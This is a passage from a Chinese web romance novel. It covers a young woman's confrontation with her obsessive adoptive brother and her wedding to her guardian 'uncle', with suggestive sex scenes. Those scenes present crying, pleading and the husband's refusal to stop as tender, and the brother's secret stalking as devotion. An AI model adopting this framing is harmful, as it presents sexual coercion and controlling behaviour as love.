但等他转过身时,谢沅才看清楚他不是沈长凛,而是多时不见的沈宴白。
沈宴白的眼底透着红,乍一看不像是血丝,更像是正在流淌的鲜血。
他抿了抿唇,哑声唤道:“好久不见,沅沅。”-
沈长凛回来的路上,天边开始下雪。
谢沅今天要开题答辩,这顺序是现场抽签定出来的。
她运气不好,每次抽出来的签都靠后。
所以沈长凛没想打扰她,准备等谢沅发消息过来时,再告诉她他今晚回来的事。
雪下得并不大。
从机场到沈家也不远。
沈长凛还是让司机开得稍快点,但不知怎的,谢沅一直没发消息。
谢沅是想跟沈长凛发消息的。
她现在发不了。
沈宴白的情绪激动,神情里也蕴着些病态:“所以你是一定要嫁给他吗,沅沅?”
无人的楼梯间,谢沅被他堵在了黑暗里。
如果是之前,她现在一定已经承受不了。
但如今谢沅的眸里只有一片清凌凌的冷淡之意,她伸出手指,露出无名指上的订婚戒指,樱唇微抿:“我不是一定要嫁给他,我是已经嫁给他了。”
订婚之后,谢沅见过很多人。
霍阳已经去了山城,那天是刚好回燕城办事。
他见到她,送了她一束百合花,扯唇轻笑:“百年好合,沅沅。”
温怀瑾当时就在现场。
他倚靠在墙边,眉眼带着些浪荡:“往后咱们就不是表兄妹了,你是不是该叫我外甥了?”
秦承月是在视频里见到的。
“沅沅,你告诉哥哥,你是不是自愿的?”他满脸都是震惊,反应和秦老先生一模一样,就是温思瑜也拦不住他。
谢沅想象过沈宴白会如何反应,却没想到他会来堵她。
海外的事务很繁忙。
也不知道他是怎么过来的。
“你问过我了吗?”沈宴白的声音沙哑,“你还是沈家的大小姐,对不对?”
谢沅垂眸,点了点头:“是。”
“那你就该知道,我是你哥哥!”沈宴白高声说道,“没有我的准允,谁让你嫁给旁人了?”
他的神情有些疯狂,又有些痛苦。
悲伤的情绪似乎压抑不住,化作有形的偏执眼神,掠过谢沅的脸庞。
谢沅是害怕来自异性的侵略目光的。
她现在已经走出来,已经好了太多,但像这样被堵在黑暗里,她本能地还是怕的。
可此刻沈宴白这样言语,另一种情绪涌了上来。
“那你什么时候把我当妹妹了?”谢沅抬起眼眸,“之前你就很不喜欢我,总想要我滚,后来你想要掠夺我。”
她声音微哑:“你觉得你配做我的哥哥吗?”
在暗恋沈宴白最痛苦的时候,谢沅也从来没有怪过他带给她的伤害。
他什么错也没有,他只是不喜欢她。
哪怕他用词难听,还时常当众讥讽她。
谢沅也没有怨过沈宴白。
如果她是他的话,她大概也不会很喜欢一个突然来到她的家里,然后分走她爸爸妈妈宠爱的哥哥。
可是谢沅不明白的是,她后来得到幸福了,沈宴白为什么总是想要来破坏?
她的话音不高,但足够直接。
沈宴白也微怔了片刻,他的薄唇微抿,压低声说道:“不是那样的,沅沅,哥哥爱你的,我这一年半来,身边一个人也没有过……”
他一下子弱势起来。
像是被雨淋湿的狮子。
“我一直在想着你,沅沅,”沈宴白抬起手,很虚地想要抱一下谢沅,“你在慕尼黑时,我偷偷去看过你,哥哥很想你……”
他放柔了神色,眼底是压抑得很痛苦的深情。
谢沅的身躯僵硬,她蓦地想起每次跟同伴们出去旅游时,常常会觉察到的注视感。
她总以为那是沈长凛命令暗里跟着她的人。
谢沅抿了抿唇,避开沈宴白的手:“可是我已经不爱哥哥了,你这样记挂我,只是因为你没有得到我罢了。”
“就像明愿,”她垂下眼眸,“因为她甩了你,所以才成为你的白月光。”
四周是那般黑暗。
谢沅的心里却不再恐惧。
说完后她抬起眼睫,直直地看向沈宴白。
楼梯间不会有人经过,但谢沅看着沈宴白越来越深暗的眸色,还是紧攥着手指,想要寻找一个逃出去的机会。
“她不是我的白月光,”他的手臂撑向墙边,“我跟她早就没什么了。”
沈宴白的眸里是浓郁的痛苦。
“你是不是还在怪我,”他声音沙哑,“沅沅,我可以改,我的世界里可以只有你。”
这样的话语太过高高在上了。
谢沅的指节攥得更紧。
“可是我不喜欢你,沈宴白。”她觉得匪夷所思,“你要强迫你的婶婶吗?”
听到“婶婶”两个字,沈宴白的眼底就红了起来。
他可以接受谢沅和霍阳、温怀瑾,乃至秦承月在一起,却独独不能接受她和沈长凛在一起。
尤其是想到当初因为那么一个意外,他们两人才开始亲密,沈宴白就觉得情绪压抑不住。
“你不是!”他抬声说道,“你本来就该是我的!”
沈宴白到底没有控制住情绪,他迫切地想要拥住谢沅,更想要将她揉碎在怀里。
谢沅的手指放在口袋里,她看不见屏幕,只能靠着本能按着她的紧急拨号。
但不知道她有没有按对,沈长凛有没有时间接听。
谢沅的长睫颤抖,她的手指也在颤抖,恐惧激起了强烈的求生念头,当那道清脆的巴掌声传来时,她才发觉她做了什么。
更令她恐惧的是沈宴白唇边忽然溢出来的血。
那么高个子的青年人,身躯后仰,陡地就昏倒了过去。
他在海外待了一年,好像重病并没有好转,还更加严重了。
谢沅的神情有些凌乱,她竭尽全力保持镇定,却还是感觉眼前阵阵地发黑。
她都记不得她是怎么拨的急救电话-
沈宴白在重症病房待了些时日。
睁开眼时,只感觉大梦一场,身躯都是飘忽的,分不清梦境和现实。
他是最近才开始服这种药的,药物的效果很强,听人说谢沅当初病愈时,服的也是这种药,他就服的更安心了。
但事实是,服用这种药真的不能沾酒,不然会发作得更狠。
沈宴白紧抿着唇,开始回忆那些破碎的片段。
他思索了许久,也没能想清楚那些事到底是梦还是现实,而他这个人又是怎么到的重症病房。
但片刻后沈宴白听见了外间的声响。
似乎是一个男人在哄一个女孩。
“没关系,宝贝,”他很温柔地说道,“不是你的错,跟你一点关系也没有。”
女孩子哭声压得很低:“可是、可是我……”
男人像是将她抱起来了,轻声说道:“那我们先来看看哥哥,好不好?他生病了,说不定都不记得了呢。”
须臾,病房的门被人从外间推开。
沈长凛声音很轻,柔得像风一样:“宴白,叫婶婶。”
第76章 “你不想怀叔叔的孩子吗?”……
谢沅的眼眸还泛着红。
她跟在沈长凛的身边,雪白的裙摆镶着花边,随风掠动。
之前的记忆太模糊。
除了那些暗里的窥视和公开出来的照片外,沈宴白已经很久没有见谢沅。
沈宴白记不清晰知道谢沅和沈长凛订婚的消息后,他是怎么回来的燕城,又是怎么堵到谢沅,差些再度伤害到她的。
在海外的这一年半,他用工作麻痹自我。
无论白昼还是黑夜,沈宴白都在疯狂地工作。
他不能再见到谢沅,甚至不能想到她。
爱欲焚心,在风月场辗转半生后,沈宴白方才真正明白这个道理。
当初知悉沈长凛送谢沅出国读书时,沈宴白还在庆幸,谢沅读书可能要读很多年,可没想到一转头,他们二人就订婚了。
沈宴白戒烟戒酒很久,尤其是在开始服药过后。
但那天晚上,他喝了很多的酒。
在混乱如梦的一段记忆后,沈宴白睁开眼,就是在重症病房里。
谢沅的手被沈长凛牵着,她的睫羽还沾着泪珠,眼尾也泛着红。
她生得柔弱,像菟丝花一般,除却在外间会有些成熟从容的模样外,在家里、亲近人跟前还是那个样子。
惹人生怜,诱人呵护。
可是这样一朵花,如今真的被人摘下来了。
那个人还是他的叔叔。
沈长凛对沈宴白的恩到底有多重,是沈宴白用一辈子都还不完的。
不管沈长凛对沈宴白的关心和爱护到底有几分是真情,有几分是处于表象。
在沈家风雨飘摇时,沈长凛一手稳住局面,并将沈宴白护于羽翼下的深恩,都是无法更易的。
所以任何人要娶谢沅,沈宴白都有把握将人夺回来。
可这个人是沈长凛。
沈宴白就没有任何办法。
他听见“婶婶”这两个字就要发疯,可是沈长凛要他现在就唤,他也全然无法拒绝。
沈宴白喉间作痛,他低声唤道:“婶婶。”
“抱歉,那天是我吃药后,误饮了酒,”他声音沙哑,“我当时没有做什么,冒犯到你吧?”
沈宴白在燕城时,工作就很疯狂,去了海外后更是过着全年无休的生活,铁打的人也经不住这样折腾。
谢沅知道他身体不好,却不知道他已经把自己弄成了这样。
如果知道的话,她当时就会直接拨打急救电话。
谢沅摇着头,细声说道:“没事,哥哥。”
她对沈宴白的感情越来越淡,曾经那样深重的情感,到了现今,已经薄到快不剩什么。
沈宴白思绪混乱,但还不至于忘却那日发生了什么。
但视线和谢沅撞上后,他下意识地就顺着沈长凛的话说了下去。
渐渐地,沈宴白也明白过来。
沈长凛今天带着谢沅来不是看他的,只是想让谢沅安心些。
她的胆子还是那样小,明明是自己差些被伤害到,却仍然会对在自卫时差些伤害到别人感到抱歉和不安。
午后的阳光很好。
沈宴白靠在病床上,放轻声音和谢沅说话。
他是很善言辞的人,或者说,他们这个圈子里就没有不善言辞的人。
沈宴白很轻易地就将谢沅糊弄了过去。
他装出一副好好兄长的模样,说着再温柔和善不过的话。
“我没有大碍,沅沅,”沈宴白轻声说道,“等过段时间做个小手术,就什么事都没有了。”
谢沅的婚期定在五月。
沈长凛很疼她,将订婚、求婚的一应事宜都准备得很是郑重。
到时候他们结婚,沈宴白都不敢想,他会是什么状态。
恶欲在心底汹涌澎湃,掠夺的欲念如同暗潮,快要将他的理智给彻底吞噬,连药物都克制不住。
可是谢沅的水眸是那么干净。
她在德国待了一整年,沉浸在学术里经久,不必在燕城的纸醉金迷中与人虚与委蛇,那双眼眸比先前还要更加澄澈。
但谢沅早已再不是沈宴白能轻易动心念的人。
当时去慕尼黑悄悄看她,他都是避着沈长凛的。
熬一整夜,只为了无声息地看她一眼。
有些念头,是注定不被允许存在的。
沈长凛揽过谢沅的腰身,轻声说道:“好了,哥哥还在病着,今天不能说这么多话了。”
他哄孩子似的说道:“你要是担心,我们改天再来看哥哥,好不好?”
送谢沅出去后,沈长凛又折了回来。
比起谢沅,沈宴白和沈长凛没见面的时间要更久。
他的容色仍是那样俊美,温柔矜贵,尽管眉眼间没有丝毫高高在上的意味,却仍是尊崇贵重到令人不敢仰目。
沈长凛个子很高,他站在窗边,微微挡住暮阳。
他声音很轻:“病得这么重,怎么不早说?”
男人的目光望向窗外,声音如风,神情也带着些淡漠。
他的语调里没什么责怪的意思,蕴着的只是作为长辈的关心。
沈长凛对沈宴白很好,沈宴白的身份尊贵,亲缘却很淡薄,如今更是只有沈长凛这么几位为数不多的亲人。
或许,以后谢沅也是。
沈宴白垂头,声音压低:“真的没什么事,叔叔,就是过段时间要做个手术。”
他是沈家的大少爷,是海外分部的总负责人。
但也不过是个二十多的青年。
如果沈宴白没突然回来,没有动谢沅,沈长凛会对他怀有作为长辈的同情与爱护的。
他侧眼看向沈宴白,声音很轻:“既然还在病着,那就好好养着。”
“到时候,你还要给沅沅送嫁的,”沈长凛漫不经心地说道,“寻常家里都是哥哥送嫁,你不想沅沅因为这个被人笑吧?”
听到沈长凛前面的话时,沈宴白的内心带着些病态的崩溃感。
送嫁,他还要给谢沅送嫁。
这还不如让谢沅拿着尖刀直接往他胸口捅。
但听到沈长凛最后的话时,沈宴白到底是沉默了下来。
订婚宴时,他就应当作为兄长过去的。
很多人都知道他们两个曾经关系不睦,知道沈宴白不喜欢谢沅,所以越是关键的场合,他就越必须和谢沅一起出现。
就好像他很厌烦温家,温思瑜跟人订婚时,他还是要过去一样。
别的事都无所谓。
可他不能让谢沅受委屈啊。
沈宴白的心脏像是被软刀绞着,但他最终是低眼答应下来:“您放心,我会注意的。”-
沈长凛没让沈宴白在燕城多待,沈宴白情况好转后,他就直接将人送去了滨城。
连带沈宴白的主治医生,沈长凛也一并送过去了。
无论位高权重,还是三教九流,在燕城都免不了受雾霾的影响。
沈宴白的肺本来就不好,之前还抽烟抽得凶,他吐血、咳血的事,沈长凛已经听过不止一次。
沈长凛原先并不怎么在乎沈家。
他是秦家人,而且秦家的基业更大,他的重心自始至终都是在秦家的。
虽然沈长凛是沈家的第一继承人,也是现任家主,但他对沈家的情感并不浓厚。
可现在就不一样了。
他要让沈家彻底成为谢沅的娘家。
她的背后是一定要有人、要有东西的。
为了达成这个目的,沈宴白就必须要活着,还得好好地作为一个疼妹妹的哥哥活着。
沈长凛扣着杯子的边沿,目光淡漠地看着窗外,许久才移开视线,看向趴在床上奋笔疾书的谢沅。
她导师正跟她通电话。
谢沅一边听着电话,一边快速地用笔在记。
其实她可以录音的。
但谢沅的短时记忆很强,她记东西又很重逻辑,不喜欢第二次再听录音。
两人一边对话,她一边奋笔疾书。
大约半小时后,谢沅终于挂断电话,沈长凛唇边含着淡笑,轻轻向她走过去:“结束了吗?”
小孩子心满意足,拖鞋也没穿,环住他的脖颈:“马上就彻底结束了,叔叔。”
毕业论文很好通过,尤其是对谢沅来说。
但她写得却很上心,而且很早就开始做准备。
这都是谢沅最后一次跟她的导师沟通了,将小细节处理完后,就可以结束了。
时间过得很快,一转眼到了二月。
距离农历的新年,只余下不到两天的时间。
得知沈宴白在滨城舅舅家那边,而且手术顺利,身体已经好转后,谢沅才好受许多。
她在家里认真地准备了很久的论文,近来才终于放松下来。
沈长凛扣住谢沅的腰身,将她抱起来:“下午要跟我去秦家吗?”
她将头埋在他的肩窝,深吸着雪松的凛冽气息,像是小动物般,声音软软地说道:“要的,叔叔。”
沈长凛身上的暗香微冷,像是山崖的雪,像是林间的风。
谢沅从前闻到只觉得害怕,畏惧和沈长凛离得太近。
如今却是越来越喜欢钻进他的怀里。
新年前后,事情基本没什么了,但各种走动却格外的多,沈长凛对这种事向来没什么感觉。
今年却是将很多事都推了。
时间宝贵,得多陪家里孩子,不能分给无关紧要的人。
沈长凛回秦家是有事的,谢沅就负责在她的卧室和起居室里玩。
这边的设计和装修都是他亲自经手的。
高大开阔的落地窗外,依然是一片漂亮的山林之景,落了雪后,苍白更加引人瞩目,比春夏时的青绿还要更美。
沈长凛回来时,就看到谢沅坐在窗边的地毯玩积木。
深色的羊毛地毯上,坐着身着白色毛茸茸睡裙的小姑娘。
她的容色纯真,眸里也是一片澄澈,像是新生的羔羊,懵懂姝丽,皎洁柔美。
谢沅不太喜欢见人,沈长凛也没有迫着她,但只要想到她在家里、在楼上,他的心情就会很平和。
她玩积木从不讲究技巧,想怎么玩就怎么玩。
沈长凛把谢沅从地上抱起,他动作很轻,还很仔细,一块积木都没有碰到。
冬天的睡裙要厚一些,也更柔软一些。
谢沅趴在沈长凛的怀里,细腰倾折,浑圆的嫩臀被他的指节掌住,乌发往后披散,只在末梢微微打卷。
他的另一只手抚在她的小腹。
谢沅的喘息声低低的,像是小猫崽子在叫似的,倒不是刻意在压,但高也高不起来。
沈长凛对孩子没有什么渴望。
他有谢沅一个宝贝,就已经很足够了。
但一想到不久之后,他的沅沅的肚子里,会怀有他的孩子,沈长凛心中便有一种很奇妙的感触。
那是两个人血脉交融后的造物。
可再想到一个小孩子会分夺她的注意力,他便没有那般期待了。
谢沅的踝骨被沈长凛扣着,全然挣扎不动,只有雪白的脚背无法抑制地绷了起来。
他的声音很轻:“你想怀叔叔的孩子吗,沅沅?”
谢沅的小腹被按着,她的樱唇紧咬着,就怕泄出太绮媚的声响,沈长凛却非逼着她应答。
她在这方面是真的口是心非。
谢沅的眼眸是氤氲着水汽,这是她早先就跟他讲过的事。
她对养小孩子是有些兴致的,虽然也没有太高。
谢沅不排斥怀孕,更不排斥有一个流有沈长凛血脉的孩子,她觉得他有些突然的发疯,秀气的小鼻子皱着,低低地说道:“我不要讲话了。”
她的声音带着娇意,既柔又软。
沈长凛扣住谢沅的细腰,眸色微暗:“你先说想不想。”
她是真的不爱这时候讲话,被欺负得狠了也就是会哭,往先都是被沈长凛逼着讲话的。
现在谢沅好不容易能偶尔做掌控局势的人。
她才不要听沈长凛的。
“待会儿再讲,行不行,叔叔?”谢沅的声音压低,说完后紧咬住樱唇,才没让别的声响溢出。
她的眸里都是水光,仰起小脸看向沈长凛。
谢沅到底没敢直接拒绝他。
她这会儿脑子里都是浆糊,应付不了他,本能地就想先拖着。
沈长凛的眸色晦暗下来。
他掐住谢沅的下颌,声音很轻:“沅沅,你不想怀叔叔的孩子吗?”
她哪里有说不想?
谢沅眸光颤动,还没反应过来,就被沈长凛换了一种姿势抱起,她瞬时就哭出来了。
“不、不是……”但哭腔破碎,更讲不出话来了。
谢沅红着眼眸,直到夜色幽深时,紧攥着的指节才终于渐渐松开。
她趴在沈长凛的肩头,泪眼朦胧:“都说了好多遍,没有特别想要孩子,但是想和叔叔有宝宝……”
谢沅的话语是全然未经思考的。
她就是循着心意在言语。
谢沅困得厉害,说完就要睡过去,她的神情恬然,眼眸也阖了上来。
但抱着她的沈长凛,长睫却在轻轻地颤,不断地颤-
新年谢沅是和沈长凛、秦老先生还有江夫人一起过的。
他们家真的好多年都没有团聚过,自从离婚后,江夫人都没有回过几次国。
但是谢沅和沈长凛在一起后,他们相聚的时间越来越多。
老人家比沈长凛要宠孩子得多。
碍于有长辈在,沈长凛也不好怎样谢沅,她一整个新年都过得很快乐,快乐到无法无天的程度。
秦家的旁支来主宅这边。
她跟着他们在外面放烟花,一直玩到半夜也不肯回来睡。
沈长凛在待客厅里跟人谈事,难得碰了牌,结果他这边事情谈完,谢沅还没回来。
到最后他不想抽牌,只想将人带回来抽一顿。
谢沅胆子很小,她不敢亲自放,但是又好奇,旁支的堂兄和堂姐带着她一起玩。
有个子侄年纪不大,十七八的年纪,生得瘦高白净,瞧起来倒也像是个有担当的孩子,可一跟谢沅对上视线,就连话都说不出来了。
沈长凛将牌推开,指节轻扯了扯领带。
“诸位轻便,沈某有些事要先处理一下。”他低笑一声,声音轻柔,眉眼间却带着冷意。
原本现在沈长凛应该和朋友介绍谢沅的。
但瞧她如今的快活容色,大抵是全然忘了此事。
谢沅看了很久,才终于敢试着自己玩。
她执着冷光烟花,眸子里亮亮的,眉眼也弯了起来。
但谢沅没能高兴太久。
被沈长凛亲自来俘获时,谢沅方才想起她忘了什么事,一旁的秦家子侄们也只言片语都不敢讲了,个个安静得跟鹌鹑似的。
她很少这样顽皮。
被带走后,谢沅拉住沈长凛的手,略带忐忑地说道:“叔叔,我现在就过去,你看行不行?”
她这话语看似很乖柔,眸子在烟花亮起时,却还是下意识就望了过去。
眼底都是恋恋不舍。
沈长凛轻笑一声,漫不经心地说道:“不着急。”
谢沅愣了一下,还以为他是准允她再玩一会儿,但片刻后她才知道他是什么意思。
她红着眼眸,声音哑哑的:“我能不能待会儿再过去,叔叔?”
谢沅跟在沈长凛的身后,她抬起手揉了一下眼睛,眸里尽是恳求和水意。
沈长凛抚了抚她的眼尾,动作轻柔,声音却更冷了:“你觉得你还有的选吗,谢沅?”
谢沅最怕沈长凛叫她大名。
她立刻不吱声了,乖乖地被他牵住手走向待客厅。
谢沅不是故意不过去的,她很喜欢看烟火,却从来没有自己放过。
今次刚好遇到秦家的一众堂兄堂姐玩,她也起了兴致,他们很好心,还带着她一起。
谢沅这个年岁的孩子,抵御诱惑的能力一直不太强。
于是就真的忘记去待客厅的事了。
沈长凛在国外待的时间很长,他最初的国籍也不是这边的。
但他在两边的朋友都不算少,有在那边本来认识的,有在这边认识的,也有从这边到那边留学偶然认识的。
沈长凛在的那个世界,从来都不是谢沅能够接触到的。
她也会参加各种宴席,也会见到很多厉害的人。
但谢沅跟这些人始终是有一层隔膜的,她都不敢想象,有一天她会跟这些财经杂志上出现的人见到。
簪缨世家里,有很多是虚名大于实际的。
沈长凛圈子里的那些人就不一样。
他们都不太重虚名,但无一不是位高权重到造极之辈。
谢沅更没有想到的是,她会在这么突然的情况下遇见他们。
沈长凛揽着她的肩头,轻声说道:“家里孩子闹人,来迟了。”
谢沅羞得脸庞微红,被他带着坐在牌桌前时,细腰更是不住地想要挣动,她还疼着,他怎么能这么坏,非要将她直接往沙发上摁?
但她不敢挣扎得太过。
柔美皎白的面容,透着薄粉,灼灼如三春桃花。
坐下后沈长凛却没再欺负她。
“这就是拙荆谢沅,”沈长凛轻声介绍道,“在燕大读哲学,师从梁先生的大弟子陈凌,也是本人一应财产的继承人。”
他抚着谢沅的手指,声音柔和:“我们的婚期定于今年五月,还请诸位赏光。”
谢沅年纪小,总还有些不适应这样的场合。
但半边身子都被沈长凛揽着,她就是想要紧张也紧张不起来。
谢沅想要挣动一下,在他的朋友们面前显得更郑重些,然而没人有什么别的反应,脸上都挂着和蔼的微笑。
也是,他们看她跟看孩子是一样的。
谢沅心里却还是感觉羞。
沈长凛轻笑,把牌放到她的手里,柔声说道:“这牌你之前玩过的,自己也试试?”
什么样的沈长凛谢沅都见过,偏偏他在外间的形象,她的感知最模糊,她也没见过他跟朋友是怎样相处的。
他俊美矜贵,却从不是持重到没趣的人。
沈长凛何时的姿态都是温雅的。
谢沅拿着牌,就这样跟他一起玩了起来,他的朋友们调笑着说道:“这不公平,长凛,你们这是二打一。”
沈长凛轻声调侃:“你们三个人呢,我们才两个。”
谢沅一玩牌就认真了起来,这个牌她还真的会玩。
之前去天行山那边时,她跟着温怀瑾他们玩了好久,后来她去慕尼黑,偶尔也会跟朋友玩这个。
牌桌上五个人,四个人都在聊天,只有谢沅一人在认真打牌。
最后她得了好多筹码,晕乎乎地大获全胜。
筹码是在谢沅和沈长凛婚礼那天兑现的-
三月伊始,谢沅的毕业论文彻底忙完,一应纷杂的事务也结束得差不多,就等着答辩和毕业典礼。
她开始参与婚礼的筹备。
沈长凛没想谢沅累着,秦老先生和江夫人更舍不得叫她受累。
她还没看多久,就被两人先后接去了瀛洲和国外。
等到谢沅回来的时候,已经是四月底。
她试过婚纱、跟沈长凛拍完照片后,再一抬眸看日历,发觉就要到他们的婚礼了。
婚礼的地点最后定在了沈长凛的私人岛屿。
谢沅这半年都很有空,她跟着沈长凛去那边玩过一回,久违地踩上她的冲浪板。
天气是早先就看过的,但婚礼那天的天气却是格外的好。
五月初的天空蓝得像是宝石一般,连带海水也被映衬得格外蔚蓝。
谢沅身着白色的婚纱,手里握着白色的蔷薇捧花,她提着裙摆,轻轻地环住沈长凛的脖颈,柔声说道:“我爱你,沈长凛。”
第77章 大婚。洞房。有孕。
今年热的很早。
五月初的天空,湛蓝如洗,晴朗无云。
多日前就有外媒报道,称秦沈两家的这场联姻为“世纪婚礼”。
秦沈两家都是豪门,更引人瞩目的是婚礼的两位主角,沈长凛低调矜贵,但早在他还是沈三公子时,声名就已经极盛。
更加叫人向往好奇的其实是谢沅。
她被保护得非常好,外界的很多人只知悉沈家养着一位大小姐。
是谢敏行的直系后代,原本就是要与秦家联姻的。
圈里人称她为“被娇藏的玫瑰”。
但谢沅到底是什么样的人,却鲜有人知,她的侧颜照第一次爆出时,没过一个小时就被彻底刷屏。
沈宴白的ins当晚直接被刷爆。
【老公,以后你就是我大舅哥了(狗头玫瑰)!】
【哥你确定这是咱妹妹??你怎么不早说!!】
【雾草这是什么美神降临,我疯狂吸溜吸溜(口水)】
谢沅没有公开的账号,那天连秦氏旗下公司的社交平台,都被疯狂地刷了一回。
她跟沈长凛是公开是逐步的,到婚礼的前夕,才渐渐爆给媒体,因为沈长凛身份特殊,主要是外媒在报道,但消息的传递总是很快。
谢沅那天才刚答辩完,一打开屏幕,消息栏全都是她自己。
她想过彻底公开后会是什么情形,却没想到能到这种程度。
后来是秦家出手,才将消息压下来的。
谢沅这个婚结得非常轻松,所有的事都是沈长凛在做,结婚前一周,她甚至还在准备毕业论文的答辩。
她虽然没有太多朋友,还是很想搞一个单身派对。
沈长凛跟谢沅的年龄没有差太多,偶尔还会有些脱节,他看了看网路上的消息,脸黑下来:“想都别想。”
她坐在他的腿上,想去拿他的手机。
“你不要信网路,”谢沅努力地去够,“网路上有很多都是乱讲的。”
沈长凛个子高,将手臂抬起后,谢沅就是站起来也够不到。
“那你的单身派对想邀请谁?”他掰过她的脸庞,“沈宴白?霍阳?温怀瑾?”
沈长凛的眸色暗着,声音微哑:“然后是不是还想尝尝酒?”
谢沅乖乖的,不讲话了。
不过后来她还是和朋友们见了一面。
玩闹过最后一段时日后,便到了婚礼的这一天。
谢沅穿着白色的婚纱,头发盘了起来,她带着王冠和皎如月色般的头饰,手握着蔷薇捧花,眉眼弯起,柔美娇丽,像是一位高贵的小公主。
她的伴娘是温思瑜。
温思瑜是再张扬明艳不过的人,此刻看向谢沅时,眼眶却有些红。
都说沈家大小姐沉静寡言,亲近的人却并不少,婚礼上陪在她身边的人很多,而且无一不是身份尊贵至极的人。
且不说温思瑜、秦承月和沈宴白等人。
霍家和温家的大公子全都过来了,明家的太子爷也含笑候在一旁。
谢沅被一群人围着,脸庞禁不住地泛红。
滨城是沈宴白母家所在,也是他疗养的圣地,每回身体不适,沈长凛都会将他送过去。
那边气候好环境好,医疗也强,跟沈宴白水土也很符。
谢沅上回见到沈宴白时,都害怕他要日薄西山。
一晃小半年过去,沈宴白又是过去那副桀骜不驯的大少爷模样,他们明争暗斗,瞧着和睦,实则句句都在讥讽彼此。
谢沅都快要听不下去。
霍阳才从山城回来,晒黑了少许,眉眼间少了浪荡,多了几分沉稳。
但一瞧见温怀瑾,他就挑眉讽刺道:“我听说温少最近挺忙的,要是有难处,可以跟我说说,我看看有什么能帮上的吗?”
霍阳真的特别会讲话,也特别会嘲讽人。
温家最近有些动荡,温怀瑾跟着温先生忙得焦头烂额。
他仍是邻家兄长的模样,勾唇时却也带着刺:“不必了,霍少先忙好山城的事吧。”
这些谈话看似寻常,但放在谢沅跟前讲出来,就是全然不同的意味。
没有人想要于在乎的人面前露怯,尤其是男人。
沈宴白冷眼看了看霍阳和温怀瑾,压低声说道:“都闭嘴,再吵滚出去。”
他的脾气很坏,从滨城休养回来后,脾气更坏了。
温思瑜皱眉看向沈宴白,红唇微张:“你也闭嘴,都笑得高兴点,今天是沅沅的婚礼,你们是想闹得全世界都知道吗?”
他们两个关系本来就不好。
于是原本三个人的吵架,又多了一个人加入战局。
四个人要吵到天上去,但那情形如果从远处看,却显得格外亲近热闹。
秦承月都有些无奈,他将细长高脚杯里的水拿给谢沅,像兄长般温柔地问道:“紧张不紧张,沅沅?”
他以前是很矜傲的一个人,如今经了这般多的事,性子却是越来越平和。
除却先前刚知晓沈长凛和谢沅订婚的事时。
秦承月一个电话直接打到秦老先生那里。
秦老先生强忍着没有告诉他其它,只耐心说两人是因为联姻,方才有了进一步发展的。
最后是秦承月愧疚良久。
不过谢沅觉得,依照她承月哥的聪明才智,迟早是能觉察出问题的。
想到这里,她就有几分心虚。
谢沅摇了摇头,声音甜软:“不紧张,承月哥。”
乐曲悠扬悦耳,新花秾丽娇妍,婚礼是个很郑重的场合,但沈长凛总还是考虑谢沅的喜好,玫瑰花束里藏着玩偶小熊,每一只都非常的可爱。
没多时后,仪礼正式开始。
激烈吵架的四个人安静下来,抬眼看向谢沅时,几个身份、性情、脾气各异的人的眼里,却是如出一辙的静默。
谢沅是一朵很娇柔的花。
她不经风雨,却又格外的坚强,这样的人谁都想要呵护。
但只有最爱她、她最爱的那个人,才能够真正得到谢沅的心,让她心甘情愿地被养在他的花田里。
当她说出“我愿意”的瞬间,所有的白鸽被放飞。
海风掠动,吹起白色的婚纱。
谢沅含笑看向沈长凛,声音柔软:“我特别爱你,亲爱的沈先生。”-
婚礼的欢畅一直持续了好几日。
到最后结束时,反倒是宾客们有了些不真实感。
海岛的风光美丽,游轮舒适宽大,高耸的树木有着繁茂的枝叶,既纸醉金迷,又充斥盛夏的自然风情。
整个流程都是西式的,只有最后的洞房花烛夜是偏中式的。
龙凤烛轻轻地燃着。
谢沅换了身正红色的长裙。
她特别天真,一边坐在床边吃冰激凌,一边想着之前他们就已共枕多时,婚礼又这样累,沈长凛应该不会如何。
但结果就是谢沅受了这辈子最大的一回累。
她哭得厉害,眼眸哭得红肿,嗓子也全都哑了,到后半夜天边都泛白时,沈长凛才轻扣着她的细腰,将她抱去浴池。
洞房花烛夜,竟然当真是字面意思的夜。
谢沅翌日下午方才睡醒,她的眸光晃动,一睁开眼就感觉泪水要再度落下来。
她用薄被将脸庞蒙了起来,任凭沈长凛怎么哄,都不肯出来。
谢沅还在读书,沈长凛对这方面一直很注意,除却第一次太混乱,不得不让谢沅吃了药外。
他就再也没有出现过丝毫的疏漏。
昨夜还是第一次那样狠、那样不择手段。
谢沅简直怀疑,沈长凛是故意想要逼哭她,他是喜欢听她哭的。
在她嫩生生的脚趾都蜷缩起来时,他扣住她伶仃的踝骨,声音里的哑意却是更深了:“沅沅不是说还要怀叔叔的孩子吗,怎么这样娇气?”
谢沅一点也不娇气。
她是哭得实在受不了,但直到最后的最后,沈长凛也没有放过她。
谢沅的肩头颤抖,被他抱起时,眼泪不住地往下掉。
她哭了好久好久,在天光乍破、黎明拂晓时,才总算能够睡过去。
但谢沅的身躯还没能侧过去,便被沈长凛又按在了怀里,他揉着她的小腹,轻吻了吻她泛红的眼尾。
动作有多温柔,方才欺负她时就有多狠。
谢沅说了好多从来都说不出口的话,做了好多以前怎样都做不出的事,羞耻心的底线被打破数回。
明明已经过去一夜,但此刻只是稍作回想,她的脸庞便又恢复滚烫。
谢沅不想再要宝宝了。
按照沈长凛这个折腾法,她真的会死掉的。
谢沅总觉得她已经足够了解沈长凛,足够了解他的手段,事实证明在婚前他还是太温和了。
她躲在薄被里,但哄了片刻后,沈长凛却开始采用强势手段。
谢沅极力抵抗,最后还是被他一把抱了出来。
沈长凛温柔又强势地揉了揉她的小腹,轻声说道:“都两点了,你不饿吗,沅沅?”
明明还是那个叔叔。
但真正做了丈夫后,谢沅总觉得有什么不一样了,她的脸庞烫着,眸里也带着羞意,开口时却到底还有小脾气:“我已经特别饱了。”
“有些人喂养过度,”她鼓着腮帮说道,“我现在都不想吃东西了。”
谢沅的指间还带着戒指。
沈长凛的指间是跟她同对的戒指。
他扣住谢沅的指节,探入她掌心,眉眼温柔,动作强硬地和她十指相嵌。
两枚戒指也轻轻地撞在了一起。
沈长凛将谢沅打横抱起,他像哄孩子似的说道:“因为我怕沅沅饿到,所以才喂了沅沅许多的,今天就不这样了。”
秦家的主宅奢美华丽。
现在这座宅邸的装潢却更加的简约高雅。
午后的日光透过落地窗照进来,沈长凛身着浅色的衬衫,他的眉眼和神情被衬得分外温柔。
他轻声哄着谢沅:“用完午餐,我们吃冰激凌,好不好?”
